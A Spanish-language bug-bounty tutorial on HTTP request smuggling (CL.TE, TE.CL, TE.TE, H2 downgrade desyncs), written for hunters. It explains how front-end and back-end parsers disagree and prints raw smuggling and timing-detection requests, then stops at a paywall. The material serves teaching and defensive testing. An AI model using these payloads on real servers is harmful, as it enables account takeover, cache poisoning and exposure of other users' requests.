Nivel AvanzadoPremium

HTTP request smuggling — H2→H1 desync, TE.CL, CL.TE y H2.CL en 2026

Catálogo actualizado de HTTP smuggling: CL.TE clásico, TE.CL, H2→H1 downgrade desyncs, HTTP/2 SETTINGS frame abuse, chunked extensions y pseudo-headers HTTP/2.

Gorka El Bochi11 de mayo de 202616 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

HTTP request smuggling sigue siendo el bug de mayor ROI en 2026 contra stacks complejos (CDN + WAF + origin). Las cuatro variantes que pagan: CL.TE (clásico), TE.CL (clásico invertido), H2.CL (HTTP/2 downgrade con Content-Length custom), y el reciente single-packet H2 desync que vence load balancers serverless tipo Cloudflare Workers. Cuando frontend y backend interpretan distinto dónde termina una request, el atacante contrabandea una segunda dentro de la primera → ATO, cache poisoning, internal access. Detection: smuggler.py + Burp HTTP Request Smuggler + timing-based oracles.


1. El modelo mental

css
[Cliente] → [Frontend (CDN/LB/WAF)] → [Backend (origin)]
              ↑                          ↑
              CL: 13                     TE: chunked
              "parser cree termina aquí" "parser cree termina más allá"

Cuando frontend dice "esta request termina en byte 13" y backend dice "esta termina en byte 50", los bytes 14-50 quedan prependidos a la siguiente request que llega al backend en la misma conexión TCP/TLS.

Esa "siguiente request" es la de otro usuario (las conexiones backend son compartidas). El atacante controla lo que se pre-pende a los requests de otros. Eso es account takeover, cache poisoning, internal endpoint access.


2. Las cuatro variantes principales

VarianteFrontend usaBackend usaCuándo aplica
CL.TEContent-LengthTransfer-Encoding: chunkedFrontend más viejo, backend moderno
TE.CLTransfer-Encoding: chunkedContent-LengthFrontend moderno, backend más viejo
TE.TETE con obfuscationTE standardAmbos soportan TE pero uno falla con variant
H2.CL / H2.TEHTTP/2 framingHTTP/1.1 con CL/TEFrontend H2 downgrade a H1 al origin

3. CL.TE clásico

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Frontend lee Content-Length: 13 → consume 13 bytes (0\r\n\r\nSMUGGLED), forward al backend.
  • Backend lee Transfer-Encoding: chunked → primer chunk es 0 (vacío, fin del body) → consume solo 0\r\n\r\n → la palabra SMUGGLED queda en el buffer.
  • La siguiente request normal del próximo user se concatena con SMUGGLED por delante → SMUGGLEDGET / HTTP/1.1... → corrupted, o usable como prefix injection.

Detection timing

http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

Si la respuesta tarda mucho (timeout esperando bytes que no llegan) → CL.TE. El backend interpreta TE, espera el chunk de 1 byte ya consumido + un siguiente que nunca llega.


4. TE.CL clásico

http
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

  • Frontend lee TE → primer chunk de 8 bytes (SMUGGLED), después 0\r\n\r\n → request termina, todo forward al backend.
  • Backend lee Content-Length: 3 → consume solo 8\r\n (3 bytes) → el resto (SMUGGLED\r\n0\r\n\r\n) queda en buffer → prepended al siguiente request.

Detection timing

http
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0


X

Backend lee 6 bytes con CL → toma 0\r\n\r\nX → respuesta inmediata. Pero la X queda en buffer → próxima request corrompida (paths inválidos).


Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Http Request Smuggling

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.